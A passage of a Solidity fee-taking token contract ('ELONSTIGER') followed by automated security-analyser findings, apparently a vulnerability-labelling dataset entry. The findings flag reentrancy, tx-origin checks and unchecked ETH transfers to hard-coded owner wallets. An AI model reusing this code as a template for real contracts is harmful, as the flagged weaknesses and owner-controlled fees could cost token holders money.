{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyDev1Fee = 4; //main dev uint256 _buyDev2Fee = 3; //nft+p2e uint256 _buyDev3Fee = 2; //website development uint256 _buyDev4Fee = 2; //mods uint256 _buyDev5Fee = 1; //buybacks uint256 _marketingFee =3; //marketing uint256 _sellDev1Fee = 7; //main dev uint256 _sellDev2Fee = 3; //nft+p2e uint256 _sellDev3Fee = 2; //website development uint256 _sellDev4Fee = 2; //mods uint256 _sellDev5Fee = 1; //buybacks uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn maxWallet = totalSupply * 2 / 100; // 2% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyDev1Fee = _buyDev1Fee; buyDev2Fee = _buyDev2Fee; buyDev3Fee = _buyDev3Fee; buyDev4Fee = _buyDev4Fee; buyDev5Fee = _buyDev5Fee; marketingFee = _marketingFee; sellDev1Fee = _sellDev1Fee; sellDev2Fee = _sellDev2Fee; sellDev3Fee = _sellDev3Fee; sellDev4Fee = _sellDev4Fee; sellDev5Fee = _sellDev5Fee; buyTotalDevFees = _buyDev1Fee + _buyDev2Fee + _buyDev3Fee + _buyDev4Fee + _buyDev5Fee; buyTotalDevFees += _marketingFee; sellTotalDevFees = _sellDev1Fee + _sellDev2Fee + _sellDev3Fee + _sellDev4Fee + _sellDev5Fee; dev1Wallet = payable(0x156FEb8E76574EEAf87a1B72A4F0253b3C5052a1); // set as dev1 wallet dev2Wallet = payable(0x156FEb8E76574EEAf87a1B72A4F0253b3C5052a1); // set as dev2 wallet dev3Wallet = payable(0x156FEb8E76574EEAf87a1B72A4F0253b3C5052a1); // set as dev3 wallet dev4Wallet = payable(0x156FEb8E76574EEAf87a1B72A4F0253b3C5052a1); // set as dev4 wallet dev5Wallet = payable(0x156FEb8E76574EEAf87a1B72A4F0253b3C5052a1); // set as dev5 wallet marketingWallet = payable(0x8da01512FD7cA2be3b2D346F87d4D6DE094844DE); //marketing wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(marketingWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromMaxTransaction(marketingWallet, true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // turn on trading function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // only for use in emergencies /*function disableTrading() external onlyOwner { tradingActive = false; swapEnabled = false; } */ //commenting out because we not beta // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalDevFees > 0){ fees = amount.mul(sellTotalDevFees).div(100); tokensForDev1 += fees * sellDev1Fee / sellTotalDevFees; tokensForDev2 += fees * sellDev2Fee / sellTotalDevFees; tokensForDev3 += fees * sellDev3Fee / sellTotalDevFees; tokensForDev4 += fees * sellDev4Fee / sellTotalDevFees; tokensForDev5 += fees * sellDev5Fee / sellTotalDevFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalDevFees > 0) { fees = amount.mul(buyTotalDevFees).div(100); tokensForDev1 += fees * buyDev1Fee / buyTotalDevFees; tokensForDev2 += fees * buyDev2Fee / buyTotalDevFees; tokensForDev3 += fees * buyDev3Fee / buyTotalDevFees; tokensForDev4 += fees * buyDev4Fee / buyTotalDevFees; tokensForDev5 += fees * buyDev5Fee / buyTotalDevFees; tokensForMarketing += fees * marketingFee / buyTotalDevFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; //swapTokensForEth(fees); } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForDev1 + tokensForDev2 + tokensForDev3 + tokensForDev4 + tokensForDev5 + tokensForMarketing; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} //uint256 initialETHBalance = address(this).balance; swapTokensForEth(totalTokensToSwap); uint256 ethBalance = address(this).balance; uint256 ethForDev1 = ethBalance.mul(tokensForDev1).div(totalTokensToSwap); uint256 ethForDev2 = ethBalance.mul(tokensForDev2).div(totalTokensToSwap); uint256 ethForDev3 = ethBalance.mul(tokensForDev3).div(totalTokensToSwap); uint256 ethForDev4 = ethBalance.mul(tokensForDev4).div(totalTokensToSwap); uint256 ethForDev5 = ethBalance.mul(tokensForDev5).div(totalTokensToSwap); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); tokensForDev1 = 0; tokensForDev2 = 0; tokensForDev3 = 0; tokensForDev4 = 0; tokensForDev5 = 0; tokensForMarketing = 0; (bool success,) = dev1Wallet.call{value: ethForDev1}(""); (success,) = dev2Wallet.call{value: ethForDev2}(""); (success,) = dev3Wallet.call{value: ethForDev3}(""); (success,) = dev4Wallet.call{value: ethForDev4}(""); (success,) = dev5Wallet.call{value: ethForDev5}(""); (success,) = marketingWallet.call{value: ethForMarketing}(""); } // force Swap back if slippage above 49% for launch. function forceSwapBack() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract"); swapBack(); emit OwnerForcedSwapBack(block.timestamp); } // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. function buyBackTokens(uint256 ethAmountInWei) external onlyOwner { // generate the uniswap pair path of weth -> eth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); emit BuyBackTriggered(ethAmountInWei); } }
[]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [882]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [672, 673, 674, 675, 676, 670, 671]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [482, 483, 484]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [699, 700, 701, 702]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [712, 713, 714, 715, 716]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [658, 659, 660, 661, 662, 663, 664, 665]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [398, 399, 400, 401, 402, 403, 404, 405, 406]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [592, 593, 594, 591]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [705, 706, 707, 708]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [681, 682, 683, 684, 685]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [10, 11, 12, 13]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [576, 577, 575]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [690, 691, 692, 693, 694]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1195]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1181]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1193]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1190]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1197]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1191]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1190]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1190]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1192]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1190]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1194]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [293, 294, 295, 296, 297, 298, 299, 300, 301]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [633, 634, 635, 636]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [232, 230, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [336, 337, 334, 335]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [213, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [256, 257, 258, 259]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [315, 316, 317, 318]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [642, 643, 644, 645, 646]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [205, 206, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [275, 276, 277, 278]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [1088, 1089, 1090]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [1075, 1076, 1077, 1078, 1079]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ELONSTIGER.sol": [264, 265, 266]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ELONSTIGER.sol": [87]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [1282]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1057]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1051]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [917]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [32]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [49]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [31]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [860]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [722]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [5, 6, 7, 8, 9, 10, 11, 12, 13, 14]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1197]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1308]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1291]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1201]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1274]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [953]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [902]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [961]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [953]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [962]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [903]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [954]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [909]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [961]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [954]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [907]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [953]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [903]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [909]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [954]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [909]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [908]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [902]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [903]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [951]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [908]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [907]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [901]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [903]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [906]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [954]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [902]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [728]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [962]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [961]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [952]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [960]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [901]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [962]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [952]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [908]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [900]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [962]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [909]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [960]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [959]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1049]}}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1127]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"ELONSTIGER.sol": [1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"ELONSTIGER.sol": [651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709]}}, {"check": "write-after-write", "impact": "Medium", "confidence": "High", "lines": {"ELONSTIGER.sol": [1281]}}, {"check": "write-after-write", "impact": "Medium", "confidence": "High", "lines": {"ELONSTIGER.sol": [1280]}}, {"check": "write-after-write", "impact": "Medium", "confidence": "High", "lines": {"ELONSTIGER.sol": [1278]}}, {"check": "write-after-write", "impact": "Medium", "confidence": "High", "lines": {"ELONSTIGER.sol": [1282]}}, {"check": "write-after-write", "impact": "Medium", "confidence": "High", "lines": {"ELONSTIGER.sol": [1279]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 941, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 991, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 992, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 993, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 994, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 995, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 997, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 860, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1002, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1007, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 380, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 401, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 635, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 275, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 179, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 181, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 183, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 185, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 186, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 598, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 652, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 653, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 862, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 864, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 865, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 866, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 867, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 868, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 881, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 882, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 885, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 891, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 892, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 893, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 894, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 895, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 899, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 900, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 901, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 902, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 903, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 905, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 906, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 907, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 908, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 909, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 911, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 916, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 177, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 856, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 53, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 59, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 733, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 741, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 750, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 758, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 768, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 777, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 10, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 197, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 605, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 778, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 785, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 792, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 796, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 799, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 802, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 833, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 840, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 846, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 939, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 781, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 782, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 783, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 784, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 788, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 789, "severity": 1}, {"rule": 